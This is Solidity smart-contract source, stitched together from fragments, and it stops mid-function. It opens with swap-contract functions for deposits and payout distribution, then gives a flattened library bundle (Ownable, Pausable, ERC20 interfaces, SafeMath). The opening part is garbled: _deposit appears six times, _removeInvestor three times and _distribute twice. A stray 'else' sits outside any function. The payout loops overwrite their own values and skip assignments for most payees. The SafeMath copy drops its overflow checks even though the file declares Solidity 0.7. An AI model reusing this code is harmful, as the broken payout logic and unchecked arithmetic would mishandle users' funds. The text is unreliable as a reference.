for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
function _distribute(bytes32 _id, address _aSide, address _bSide) internal {
uint brokersPercent;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint percent = brokerPercents[_id][_bSide][broker];
brokersPercent = brokersPercent.add(percent);
}
uint toPayBrokers = raised[_id][_bSide].mul(brokersPercent).div(10000);
uint toPayInvestors = raised[_id][_bSide].sub(toPayBrokers);
uint remainder = toPayInvestors;
for (uint i = 0; i < investors[_id][_aSide].length; i++) {
address user = investors[_id][_aSide][i];
uint toPay;
if (i + 1 == investors[_id][_aSide].length) {
toPay = remainder;
uint aSideRaised = raised[_id][_aSide];
uint userInvestment = investments[_id][_aSide][user];
toPay = userInvestment.mul(toPayInvestors).div(aSideRaised);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, user, toPay);
emit SwapSend(_id, _bSide, user, toPay);
}
remainder = toPayBrokers;
for (uint i = 0; i < brokers[_id].length; i++) {
address broker = brokers[_id][i];
uint toPay;
if (i + 1 == brokers[_id].length) {
toPay = remainder;
uint percent = brokerPercents[_id][_bSide][broker];
toPay = toPayBrokers.mul(percent).div(brokersPercent);
remainder = remainder.sub(toPay);
}
vault.withdraw(_bSide, broker, toPay);
emit BrokerSend(_id, _bSide, broker, toPay);
}
}
} else {
function _removeInvestor(address[] storage _array, address _investor)
internal
{
uint idx = _array.length - 1;
for (uint i = 0; i < _array.length - 1; i++) {
if (_array[i] == _investor) {
idx = i;
break;
}
}
_array[idx] = _array[_array.length - 1];
delete _array[_array.length - 1];
_array.length--;
}
function _removeInvestor(address[] storage _array, address _investor)
internal
{
uint idx = _array.length - 1;
for (uint i = 0; i < _array.length - 1; i++) {
if (_array[i] == _investor) {
idx = i;
break;
}
}
_array[idx] = _array[_array.length - 1];
delete _array[_array.length - 1];
_array.length--;
}
function _removeInvestor(address[] storage _array, address _investor)
internal
{
uint idx = _array.length - 1;
for (uint i = 0; i < _array.length - 1; i++) {
if (_array[i] == _investor) {
idx = i;
break;
}
}
_array[idx] = _array[_array.length - 1];
delete _array[_array.length - 1];
_array.length--;
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _deposit(bytes32 _id, address _token, address _from, uint _amount)
internal
{
uint amount = _amount;
require(
baseAddresses[_id] == _token || quoteAddresses[_id] == _token,
"Swaps: You can deposit only base or quote currency"
);
require(
raised[_id][_token] < limits[_id][_token],
"Swaps: Limit already reached"
);
require(now <= expirationTimestamps[_id], "Swaps: Contract expired");
if (baseAddresses[_id] == _token && baseOnlyInvestor[_id] != address(
0
)) {
require(
msg.sender == baseOnlyInvestor[_id],
"Swaps: Allowed only for specified address"
);
}
if (limits[_id][_token].sub(
raised[_id][_token]
) > minInvestments[_id][_token]) {
require(
_amount >= minInvestments[_id][_token],
"Swaps: Should not be less than minimum value"
);
}
if (!_isInvestor(_id, _token, _from)) {
require(
investors[_id][_token].length < MAX_INVESTORS,
"Swaps: Too many investors"
);
investors[_id][_token].push(_from);
}
uint raisedWithOverflow = raised[_id][_token].add(amount);
if (raisedWithOverflow > limits[_id][_token]) {
uint overflow = raisedWithOverflow.sub(limits[_id][_token]);
vault.withdraw(_token, _from, overflow);
amount = amount.sub(overflow);
}
investments[_id][_token][_from] = investments[_id][_token][_from].add(
amount
);
raised[_id][_token] = raised[_id][_token].add(amount);
emit Deposit(
_id,
_token,
_from,
amount,
investments[_id][_token][_from]
);
if (isBaseFilled(_id) && isQuoteFilled(_id)) {
_swap(_id);
}
}
function _isInvestor(bytes32 _id, address _token, address _who)
internal
view
returns (bool)
{
return investments[_id][_token][_who] > 0;
}
}
| 3,522,120
|
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// File: contracts/utils/math/Math.sol
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/utils/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
'Ownable: new owner is the zero address'
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/Staking/Pausable.sol
/// Refer: https://docs.synthetix.io/contracts/Pausable
abstract contract Pausable is Ownable {
/**
* State variables.
*/
bool public paused;
uint256 public lastPauseTime;
/**
* Event.
*/
event PauseChanged(bool isPaused);
/**
* Modifier.
*/
modifier notPaused {
require(
!paused,
'Pausable: This action cannot be performed while the contract is paused'
);
_;
}
/**
* Constructor.
*/
constructor() {
// This contract is abstract, and thus cannot be instantiated directly
require(owner() != address(0), 'Owner must be set');
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* External.
*/
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = block.timestamp;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
}
// File: contracts/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the number of decimals for token.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/Arth/IIncentive.sol
/// @title incentive contract interface
/// @author Fei Protocol
/// @notice Called by FEI token contract when transferring with an incentivized address
/// @dev should be appointed as a Minter or Burner as needed
interface IIncentiveController {
/// @notice apply incentives on transfer
/// @param sender the sender address of the FEI
/// @param receiver the receiver address of the FEI
/// @param operator the operator (msg.sender) of the transfer
/// @param amount the amount of FEI transferred
function incentivize(
address sender,
address receiver,
address operator,
uint256 amount
) external;
}
// File: contracts/ERC20/IAnyswapV4Token.sol
interface IAnyswapV4Token {
function approveAndCall(
address spender,
uint256 value,
bytes calldata data
) external returns (bool);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function transferWithPermit(
address target,
address to,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external returns (bool);
function Swapin(
bytes32 txhash,
address account,
uint256 amount
) external returns (bool);
function Swapout(uint256 amount, address bindaddr) external returns (bool);
function nonces(address owner) external view returns (uint256);
function permit(
address target,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File: contracts/Arth/IARTH.sol
interface IARTH is IERC20, IAnyswapV4Token {
function addPool(address pool) external;
function removePool(address pool) external;
function setGovernance(address _governance) external;
function poolMint(address who, uint256 amount) external;
function poolBurnFrom(address who, uint256 amount) external;
function setIncentiveController(IIncentiveController _incentiveController)
external;
function genesisSupply() external view returns (uint256);
}
// File: contracts/utils/math/SafeMath.sol
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
'Address: insufficient balance'
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(
success,
'Address: unable to send value, recipient may have reverted'
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
'Address: low-level call with value failed'
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
'Address: insufficient balance for call'
);
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
'Address: low-level static call failed'
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), 'Address: static call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
'Address: low-level delegate call failed'
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), 'Address: delegate call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
'SafeERC20: approve from non-zero to non-zero allowance'
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
